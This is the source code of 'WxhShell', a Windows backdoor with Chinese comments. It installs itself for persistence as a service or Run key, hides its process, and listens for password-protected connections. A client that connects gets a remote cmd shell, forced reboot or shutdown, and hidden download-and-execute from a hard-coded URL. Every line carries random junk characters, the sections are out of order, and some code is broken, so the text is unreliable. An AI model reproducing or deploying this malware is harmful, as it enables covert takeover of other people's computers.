    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1J^{h5?lU  
    if(Boot(SHUTDOWN)) -p9|l%W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RzNv|   
    else { {V8 v  
    closesocket(wsh); ~GMlnA]6  
    ExitThread(0); !K_%@|:7%  
    } > `u} G1T\  
    break; GYCc)Guc  
    } eFbr1IV  
  // 获取shell O7:JG[tR*  
  case 's': { Haiuf)a  
    CmdShell(wsh); #m|AQr|  
    closesocket(wsh); 6f0 WN  
    ExitThread(0); p.&FK'&[0  
    break; 8L.Y0_x  
  } ]M>mwnt+  
  // 退出 N3i}>Q)B  
  case 'x': { f5^[`b3H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H$WuT;cTE  
    CloseIt(wsh); 7 zK%CJ  
    break; ~- JkuRJ\  
    } lY0^Z  
  // 离开 &R>x;&Gj  
  case 'q': { b=.Ikt+y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9aYCU/3  
    closesocket(wsh); zR">'bM:  
    WSACleanup(); 9 *Q/3|   
    exit(1); b4i=eI8  
    break; :Q"]W!kCs  
        } #%Uk}5;-  
  } z`5d,M  
  } X5'foFE'  
T/UhZ4(V  
  // 提示信息 r( :"BQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A F>!:  
} mRFcZ.7  
  }  g&#.zJ[-  
I[G<aI!  
  return; D8qZh1w%A|  
} 5&\Q0SX(~  
#8QQZdC8`  
// shell模块句柄 :J5xO%WA(  
int CmdShell(SOCKET sock) P$4G2>D8dg  
{ n ;y<!L7  
STARTUPINFO si; v|"Nx42  
ZeroMemory(&si,sizeof(si)); rx CSs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ) j_g*<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A9!%H6  
PROCESS_INFORMATION ProcessInfo; 7;+:J;xf66  
char cmdline[]="cmd"; a3sXl+$D@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a>G|t5w  
  return 0; s -~Tf|  
} -!k"*P  
vn9_tL&  
// 自身启动模式 he;&KzEu  
int StartFromService(void) u+~Ta  
{ p{[Ol  
typedef struct *O+G}_}  
{ /MO|q  
  DWORD ExitStatus; gyondcF  
  DWORD PebBaseAddress; rB~x]5TH  
  DWORD AffinityMask; 6$lj$8\  
  DWORD BasePriority; 4&2aJ_ 2 y  
  ULONG UniqueProcessId; &+u) +<&;(  
  ULONG InheritedFromUniqueProcessId; *am.NH\  
}   PROCESS_BASIC_INFORMATION; F$N"&<[c  
Wf +j/RxTi  
PROCNTQSIP NtQueryInformationProcess; S9U,so?  
]4ya$%A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .'saUcVg:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pZ}4'GnZI  
eR4%4gW)  
  HANDLE             hProcess; }PTYNidlR  
  PROCESS_BASIC_INFORMATION pbi; RHZ5f0b4L  
ri<E[8\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1D sgU6"  
  if(NULL == hInst ) return 0; a2 e-Q({  
N=YRYU o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s+8 v7ZJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q["CT&0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $*tq$DZ4&  
3M=ym.  
  if (!NtQueryInformationProcess) return 0; R_e{H^pY^  
zB kS1qMn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q-k{Lqa-  
  if(!hProcess) return 0; mFC0f?nr  
w O;\,zU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :,X,!0pWRp  
&9g4/c-?$  
  CloseHandle(hProcess); k4FxdX  
u[$ \ az7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +1zCb=;!{  
if(hProcess==NULL) return 0; ! ~u;CMR  
NpG5$?  
HMODULE hMod; I ww.Nd2  
char procName[255]; gNY}`'~hr  
unsigned long cbNeeded; P,^`|\#7  
E"ijNs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n a,j  
2>Bx/QF@<  
  CloseHandle(hProcess); K4b# y~@  
Dm?>U1{   
if(strstr(procName,"services")) return 1; // 以服务启动 rV>/:FG  
&=oW=g2  
  return 0; // 注册表启动 D<B/oSy  
} NHG+l)y:  
vtM!?#  
// 主模块 @-|{qP=Dy  
int StartWxhshell(LPSTR lpCmdLine) +YVnA?r?  
{ 6Lk<VpAa  
  SOCKET wsl; |r[yMI|VR  
BOOL val=TRUE; 2 UU5\ jV6  
  int port=0; g!;k$`@{E'  
  struct sockaddr_in door; Mn7nS:  
St}j^i  
  if(wscfg.ws_autoins) Install(); 1bs 8fUPB3  
B:Ec(USe  
port=atoi(lpCmdLine); >bWx!M]  
# Y/ .%ch.  
if(port<=0) port=wscfg.ws_port; FTZ][  
fmC)]O%q  
  WSADATA data; _R-[*ucq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b0|q@!z>  
i>#[*.|P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qfE>N?/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =LEKFXqM  
  door.sin_family = AF_INET; /*\pm!]._^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); , v,mBYaU  
  door.sin_port = htons(port); <8nl}^d5  
FjYih>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %y ;E1pva  
closesocket(wsl); (jv!q@@2C.  
return 1; Ta^l1]9.*  
} 3)ac  
*vqlY[2Ax  
  if(listen(wsl,2) == INVALID_SOCKET) { EkS7j>:  
closesocket(wsl); q|,cMPS3  
return 1; HO%atE$>  
} bkk1_X  
  Wxhshell(wsl); jkw:h0hX  
  WSACleanup(); <+ 0cQq=2  
\W$bOp  
return 0; ENW>bS8 e`  
"X4L+]"$g  
} EooQLZ  
p"" #Gbwj  
// 以NT服务方式启动 ~Vq<nkWS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e]R`B}vO  
{ # hvLv  
DWORD   status = 0; D5x }V  
  DWORD   specificError = 0xfffffff; 0T-y]&uo  
mGR}hsQpn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <\uz",e}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /Qi;'h]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3NRxf8  
  serviceStatus.dwWin32ExitCode     = 0; mNS7/I\  
  serviceStatus.dwServiceSpecificExitCode = 0; o;bK 7D  
  serviceStatus.dwCheckPoint       = 0; 3~ITvH,`s  
  serviceStatus.dwWaitHint       = 0; JQ|qg\[  
%H OMX{~}#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'ap<]mf2  
  if (hServiceStatusHandle==0) return; rF C6"_  
J-C3k`%O  
status = GetLastError(); \7M+0Ul1  
  if (status!=NO_ERROR) "J:~Aa%_  
{ *{/ ww9fT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v_-S#(  
    serviceStatus.dwCheckPoint       = 0; nk.m G ny  
    serviceStatus.dwWaitHint       = 0; j/"{tMqQp  
    serviceStatus.dwWin32ExitCode     = status; ^wesuW@=  
    serviceStatus.dwServiceSpecificExitCode = specificError; *K#7,*Oz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oL?(; `"&  
    return; ? tre)  
  } +%vBDcf  
+c&n7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BZAeg">3  
  serviceStatus.dwCheckPoint       = 0; 6f1%5&si  
  serviceStatus.dwWaitHint       = 0; HsrIw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pp-\#WJ  
} ie4keVlXc  
9$[I~I#z  
// 处理NT服务事件,比如:启动、停止 qFEGV+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~P&Brn"=Rs  
{ D5]4(]k&  
switch(fdwControl) F\&Sn1>k  
{ =2&/Cn4  
case SERVICE_CONTROL_STOP: VxD_:USIF  
  serviceStatus.dwWin32ExitCode = 0; n#@/A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VA4>!t)  
  serviceStatus.dwCheckPoint   = 0; J[E_n;d1  
  serviceStatus.dwWaitHint     = 0; yh9fHN)F  
  { {ctEjgiE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /7WN,a  
  } W_k;jy_{9  
  return; 4.]xK2sW  
case SERVICE_CONTROL_PAUSE: 56 6vjE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m\a_0!K  
  break; R? aE:\A  
case SERVICE_CONTROL_CONTINUE: ,#=ykg*~/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kO3{2$S6  
  break; !e~Yp0gX#  
case SERVICE_CONTROL_INTERROGATE: K:PzR,nn  
  break; scmn-4j'{  
}; mmk]Doy?#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q\(VQ1c  
} 5f+ziiZ  
GA&mM   
// 标准应用程序主函数 =%u\x=u|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q y(Gy'q~  
{ sj;8[Xy's  
97"dOi!Wh  
// 获取操作系统版本 =+um:*a.  
OsIsNt=GetOsVer(); gucd]VH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Lg[v-b=?I  
QF^_4Yn  
  // 从命令行安装 qk}(E#.>F\  
  if(strpbrk(lpCmdLine,"iI")) Install(); q^{Z"ifL  
ogN/zIU+VA  
  // 下载执行文件 zqEMR>px  
if(wscfg.ws_downexe) { Uh.XL=wY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +<p?i]3CHe  
  WinExec(wscfg.ws_filenam,SW_HIDE); -QH[gi{%`  
} oK3uGPi  
% :?_N  
if(!OsIsNt) { &P8 Run  
// 如果时win9x,隐藏进程并且设置为注册表启动 v IBVp  
HideProc(); rEI]{?eoF  
StartWxhshell(lpCmdLine); YG2rJY+*  
} L #'N  
else `c 3IS5  
  if(StartFromService()) M6n9>aW4  
  // 以服务方式启动 KP)BD;  
  StartServiceCtrlDispatcher(DispatchTable); iUuG}rqj  
else -$pS {q;  
  // 普通方式启动 k~|nU  
  StartWxhshell(lpCmdLine); JQVu&S  
-ya0!D  
return 0; XD\RD  
} ;K[ G]8  
S<n3wR"^  
iG<rB-"  
HnvE\t9`  
=========================================== q/w U7P\%  
RusC5\BUX  
sA18f2  
tT7< V{i4  
Zf~ [4Eeb  
2u9^ )6/  
" jYwv+EXg  
^{<x*/nK  
#include <stdio.h> w)bLdQ  
#include <string.h> {"33 .^=  
#include <windows.h> X1*6qd+E  
#include <winsock2.h> by*>w/@9)k  
#include <winsvc.h> JyPsRpi\  
#include <urlmon.h> 2N]u!S;d  
UN`F|~@v  
#pragma comment (lib, "Ws2_32.lib") COS(pfC  
#pragma comment (lib, "urlmon.lib") mT N6-V  
g*UI~rp  
#define MAX_USER   100 // 最大客户端连接数 $@_7HE3  
#define BUF_SOCK   200 // sock buffer 4}{S8fGk%  
#define KEY_BUFF   255 // 输入 buffer JL~QE-pvD  
b`Wn98s  
#define REBOOT     0   // 重启 z-G|EAON"/  
#define SHUTDOWN   1   // 关机  & y1' J  
?p{xt$<p  
#define DEF_PORT   5000 // 监听端口 \jn[kQ+pJ  
&fBLPF%6  
#define REG_LEN     16   // 注册表键长度 %gd=d0vm  
#define SVC_LEN     80   // NT服务名长度 5,:tjn  
s:Us*i=H,  
// 从dll定义API a!"81*&4#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )c@I|L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $[VeZ-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DM6oMT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o/I<)sa  
fShf4G_w\  
// wxhshell配置信息 o{*8l#x8  
struct WSCFG { pL$UI3VCP  
  int ws_port;         // 监听端口 7> -y,?&  
  char ws_passstr[REG_LEN]; // 口令 m:TS .@p  
  int ws_autoins;       // 安装标记, 1=yes 0=no bhXH<=  
  char ws_regname[REG_LEN]; // 注册表键名 U*8;ZXi  
  char ws_svcname[REG_LEN]; // 服务名 ? WWnt^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (_ov _3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'e-Nt&;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mwFI89J'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "Kk3#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8F0+\40  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fk!wq. a  
8VvoPlo  
}; :oF\?e  
yWIM,2x}  
// default Wxhshell configuration P,RCbPC4  
struct WSCFG wscfg={DEF_PORT, g# ZR, q  
    "xuhuanlingzhe", JH2?^h|{  
    1, c L*D_)?8  
    "Wxhshell", ssW+'GD  
    "Wxhshell", 6w K=  
            "WxhShell Service", -tT{h 4  
    "Wrsky Windows CmdShell Service", ,=l MtW  
    "Please Input Your Password: ", /vPh_1  
  1, rtDm<aUh  
  "http://www.wrsky.com/wxhshell.exe", p}.P^`~j  
  "Wxhshell.exe" IS7g{:}=p  
    }; DLE|ctzj[7  
Kp"mV=RG2T  
// 消息定义模块 !@-j!Ub  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oaI7j=Gp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7\^b+*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  ,[ +  
char *msg_ws_ext="\n\rExit."; P0$q{ j  
char *msg_ws_end="\n\rQuit."; (c(c MC'  
char *msg_ws_boot="\n\rReboot..."; +-,Q>`  
char *msg_ws_poff="\n\rShutdown..."; IoNZ'g?d  
char *msg_ws_down="\n\rSave to "; T3['6%  
GFvZdP`s4  
char *msg_ws_err="\n\rErr!"; , j ,[4^  
char *msg_ws_ok="\n\rOK!"; >H@ dgb  
}M f}gCEW  
char ExeFile[MAX_PATH]; I"3Qdi  
int nUser = 0; ?)Lktn9%  
HANDLE handles[MAX_USER]; 5(>m=ef"  
int OsIsNt; lfu1PCe5  
^BjwPh4Z#  
SERVICE_STATUS       serviceStatus;  DVD}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~!]FF}6  
J{$C}8V  
// 函数声明 !.L%kw7z  
int Install(void); [7]p\' j  
int Uninstall(void); |LKhT4rE  
int DownloadFile(char *sURL, SOCKET wsh); }.gDaxj  
int Boot(int flag); ;: Hfkyy]  
void HideProc(void); {a_= 4a  
int GetOsVer(void); z>k6T4(  
int Wxhshell(SOCKET wsl); H7"I+qE-G  
void TalkWithClient(void *cs); _h_;nS.Y  
int CmdShell(SOCKET sock); {i^ ?XdM  
int StartFromService(void); y VQ qz  
int StartWxhshell(LPSTR lpCmdLine); `a:@[0r0U  
Y,WcHE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iUA2/ A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >;o^qi_$  
*P:`{ZV7=W  
// 数据结构和表定义 [x!T<jJ  
SERVICE_TABLE_ENTRY DispatchTable[] = ,{itnKJC  
{ .)})8csl.d  
{wscfg.ws_svcname, NTServiceMain}, j]J2,J  
{NULL, NULL} qfppJ8L  
}; 65ijzZL;  
(T n*;Xjq  
// 自我安装 9{i6g+  
int Install(void) qChS} Q  
{ J~ v<Z/gm  
  char svExeFile[MAX_PATH]; ]G&?e9OA  
  HKEY key; jb)z[!FbM  
  strcpy(svExeFile,ExeFile); P>L-,R(7e  
7r"!&P* ,  
// 如果是win9x系统,修改注册表设为自启动 9|jIrS%/~  
if(!OsIsNt) { _w+sx5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EPI mh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sijwh1j*V  
  RegCloseKey(key); 4,FkA_k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %S>lPt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,k{{ZP P  
  RegCloseKey(key); 2K, 1wqf'  
  return 0; [ $.oyjd  
    } xi;SKv;p  
  } .IpwTke'  
} C_O 7  
else { Ca+d ?IS  
,Q(n(m'  
// 如果是NT以上系统,安装为系统服务 1$@k@*u\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GOH@|2N  
if (schSCManager!=0) &#.XLe\y  
{ G7%Nwe~Y  
  SC_HANDLE schService = CreateService 0g]ABzTn  
  ( lDp5aT;DsM  
  schSCManager, Fxv~;o#  
  wscfg.ws_svcname, @Z@yI2#e  
  wscfg.ws_svcdisp, ; {I{X}b  
  SERVICE_ALL_ACCESS, D6bCC; h=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `ZV;Le '  
  SERVICE_AUTO_START, 28X)s!W'  
  SERVICE_ERROR_NORMAL, M%&`&{  
  svExeFile, M P0ww$(  
  NULL, 6gakopZO  
  NULL, 'y-IE#!5  
  NULL, ]N1$ioC#  
  NULL, aH"tSgi  
  NULL gADt%K2 #Z  
  ); $6fHY\i#R  
  if (schService!=0) _z,/!>J  
  { Y0|~]J(B  
  CloseServiceHandle(schService); p4{?Rhb6  
  CloseServiceHandle(schSCManager); Z`b,0[rG[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (jY.S|%  
  strcat(svExeFile,wscfg.ws_svcname); + 6r@HK`,t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =5dv38  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K<Yh'RvTD  
  RegCloseKey(key); *XtZ;os]  
  return 0; IA8kq =W  
    } +|#sF,,X4g  
  } 2U~oWg2P  
  CloseServiceHandle(schSCManager); .fo.mC@a  
} Ks7s2vK^  
} vGm;en   
+/Y )s5@<  
return 1; zb9d{e   
} C6'[Tn  
4 Iy\   
// 自我卸载 6mRvuJ%  
int Uninstall(void) 1grrb&K  
{ =N7N=xY  
  HKEY key; puXJ:yo(  
y"@~5e477$  
if(!OsIsNt) { D\* raQ`n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c$uV8_V  
  RegDeleteValue(key,wscfg.ws_regname); %K ]u"  
  RegCloseKey(key); 8(Z*Vz uu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }b\d CGVr  
  RegDeleteValue(key,wscfg.ws_regname); ;'gzR C  
  RegCloseKey(key); q%>L/KJ#  
  return 0; !7%L%~z^  
  } k(VA5upCs  
} zT_{M qY  
} -pqShDar|  
else { 'Iu$4xo`[  
xO?~@5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *vBcT.|,  
if (schSCManager!=0) zI7-xqZ  
{ 1/le%}mK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mi97$Cr2  
  if (schService!=0) $: Qi9N   
  { d54>nycU~N  
  if(DeleteService(schService)!=0) { .P,\69g~A  
  CloseServiceHandle(schService); W4>8  
  CloseServiceHandle(schSCManager); 3$HFHUMQsk  
  return 0; P?TFX.p7  
  } Hk6Dwe[y  
  CloseServiceHandle(schService); :kFWUs=  
  } ?FMHK\  
  CloseServiceHandle(schSCManager); KY|Q#i|pM  
} O^:Rm=,$  
} d(To)ly.  
u1]5qtg"  
return 1; ^vG*8,^S=8  
} 8swj'SjX  
2^ UFP+Yw  
// 从指定url下载文件 1Ete;r%5=  
int DownloadFile(char *sURL, SOCKET wsh) Pi+,y  
{ U4LOe}Ny  
  HRESULT hr; aNXu"US+Sp  
char seps[]= "/"; %X[|7D-  
char *token; !Rsx)  
char *file; )*s.AFu]7x  
char myURL[MAX_PATH]; vNJ!i\bX  
char myFILE[MAX_PATH]; hsfVKlw-  
1RcaE!\p  
strcpy(myURL,sURL); G3?8GTH  
  token=strtok(myURL,seps); u[d8)+VX  
  while(token!=NULL) ]MB ^0:F-  
  { pazFVzT  
    file=token; y!aq}YS  
  token=strtok(NULL,seps); ]Ff&zBJ  
  } r."Dc  
~@sx}u  
GetCurrentDirectory(MAX_PATH,myFILE); 26\1tOj Np  
strcat(myFILE, "\\"); z ^a,7}4  
strcat(myFILE, file); Y%wF;I1x  
  send(wsh,myFILE,strlen(myFILE),0); z),l&7  
send(wsh,"...",3,0); ] YQ*mvI]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :_H$*Q=1  
  if(hr==S_OK) Wb*d`hzQ}  
return 0; KgKV(q=  
else &:{| nDT_2  
return 1; gQ/zk3?k  
y'E)iI*  
} !-2 S(8  
~yO.R)4v  
// 系统电源模块 V?5_J%  
int Boot(int flag) //6m2a  
{ y4envjl 0  
  HANDLE hToken; r}vI#;&  
  TOKEN_PRIVILEGES tkp; W:0@m^r  
Txw,B2e)>  
  if(OsIsNt) { Rmd;u g9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GbNVcP.ocP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y< 146   
    tkp.PrivilegeCount = 1; Vw)\#6FL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =ohdL_6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ye(0'*-jyc  
if(flag==REBOOT) { %A64 Y<K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e#W@ep|n  
  return 0; ikm4Y`c  
} ]`:Fj|>  
else { O`Z>Oon?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X\YeO> C  
  return 0; ]`UJwq  
} x{ZcF=4  
  } |t.WPp5,  
  else { (>)Y0ki}  
if(flag==REBOOT) { 7dU X(D,?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B`KpaE]  
  return 0; 8qBw;A)  
} _;0:wXib =  
else { kuUH 2:L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *4.f*3*  
  return 0; 8K1+ttjm  
} wBmbn=>#S  
} Mb/R+:C`  
+  ^~n09  
return 1; NGb`f-:jw  
} TmUn/  
Y4b"(ZhM_  
// win9x进程隐藏模块 Zl* HT%-5  
void HideProc(void) 8@Y@5)Oc  
{ U;{VL!  
T`vj6F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4V[+6EV  
  if ( hKernel != NULL ) guf+AVPno  
  { H)(Jjk-O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qnT:x{o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VoP(!.Ua>7  
    FreeLibrary(hKernel); LWIU7dw  
  } "h)+fAT|,  
`%rqQnVB  
return; gE8>5_R|  
} cIq3En  
1FY^_dvH  
// 获取操作系统版本 Q OdvzVy<  
int GetOsVer(void) EI/_=.d  
{ 7$b78wax  
  OSVERSIONINFO winfo; aP4r6lLv+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |@Z QoH  
  GetVersionEx(&winfo); GL (YC-{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yz{UP)TC  
  return 1; dyu~T{  
  else AMtFOXx%I  
  return 0; Aja'`Mu  
} F1 MPo;e  
b/<n:*$   
// 客户端句柄模块 gKBcD\F  
int Wxhshell(SOCKET wsl) 'm-s8]-W  
{ iiO4.@nT  
  SOCKET wsh; u QCQ$  
  struct sockaddr_in client; |%TH|?kB  
  DWORD myID; 'p {>zQ\5  
!_zmm$bR  
  while(nUser<MAX_USER) j >P>MdZtk  
{ GndF!#?N(  
  int nSize=sizeof(client); c 8E&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vx?a&{3]-  
  if(wsh==INVALID_SOCKET) return 1; T4w`I;&v  
_`ot||J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C2bN<K  
if(handles[nUser]==0) |8V+(Vzl  
  closesocket(wsh); =[vT=sHz7  
else 8]+hfB/  
  nUser++; +ZXk0sP_<  
  } dp-8,Seu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8'/vW~f  
'KM@$2tK^q  
  return 0; C#vU'RNpl  
} 5f}wQ  
XCQ =`3f  
// 关闭 socket c1!h;(&  
void CloseIt(SOCKET wsh) :8\z 0  
{ Y+j|T`d  
closesocket(wsh); W aks*^|  
nUser--; \%rX~UhZ=  
ExitThread(0); lHr?sMt  
} q[7C,o>/  
\*a7DuVw  
// 客户端请求句柄 1;g>?18@  
void TalkWithClient(void *cs) ;h3c+7u1  
{ >*k3D&  
If2f7{b  
  SOCKET wsh=(SOCKET)cs; 7$}lkL  
  char pwd[SVC_LEN]; m[(2  
  char cmd[KEY_BUFF]; W 4~a`D7  
char chr[1]; m03;'Nj'7#  
int i,j; MhWmY[  
8^^Xr  
  while (nUser < MAX_USER) { S'vrO}yU  
'+5*ajP<  
if(wscfg.ws_passstr) { @My-O@C>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fdzs Wm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @6(4}&sEdm  
  //ZeroMemory(pwd,KEY_BUFF); 7WKb| /#;  
      i=0; S 0,p:Wey  
  while(i<SVC_LEN) { h@@2vs2  
QUwSnotgU  
  // 设置超时 {!Jw+LPv$$  
  fd_set FdRead; +{4ziqYj  
  struct timeval TimeOut; Vw<=& w#K  
  FD_ZERO(&FdRead); 7S(5\9  
  FD_SET(wsh,&FdRead); k7'B5zVd  
  TimeOut.tv_sec=8; +*mi%)I  
  TimeOut.tv_usec=0; H Y\-sl^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rAM{<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DO8@/W( `  
@y2{LUJe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OZB(4{vnyC  
  pwd=chr[0]; x9p,j  
  if(chr[0]==0xd || chr[0]==0xa) { [ ;  
  pwd=0; xOt%H\*k"  
  break; mi`!'If0)  
  } D/5 ah_;  
  i++; S[n ;u-U  
    } QcU&G*   
+.! F]0ju  
  // 如果是非法用户,关闭 socket DwMq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,Hlbl}.ls  
} U\*}}   
[z5pqd-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &$:1rA_v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g+bc4eU  
2g$PEwXe  
while(1) { %scSp&X  
?suxoP%  
  ZeroMemory(cmd,KEY_BUFF); q@1b{q#C5  
k2(B{x}L  
      // 自动支持客户端 telnet标准   K -cRNt  
  j=0; ,9SBGxK5`  
  while(j<KEY_BUFF) { h8iic  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p2cwW/^V  
  cmd[j]=chr[0]; _a|-_p  
  if(chr[0]==0xa || chr[0]==0xd) { 8E`A`z  
  cmd[j]=0; b= amd*  
  break; h mC. 5mY  
  } cv})^E$x  
  j++; HC_+7O3A  
    } He @d~9M  
efW<  
  // 下载文件 l|TiUjs  
  if(strstr(cmd,"http://")) { >NwS0j$j@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2#%@j6  
  if(DownloadFile(cmd,wsh)) {]-AuC2E/0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); us%dw&   
  else lR3`4bHA  
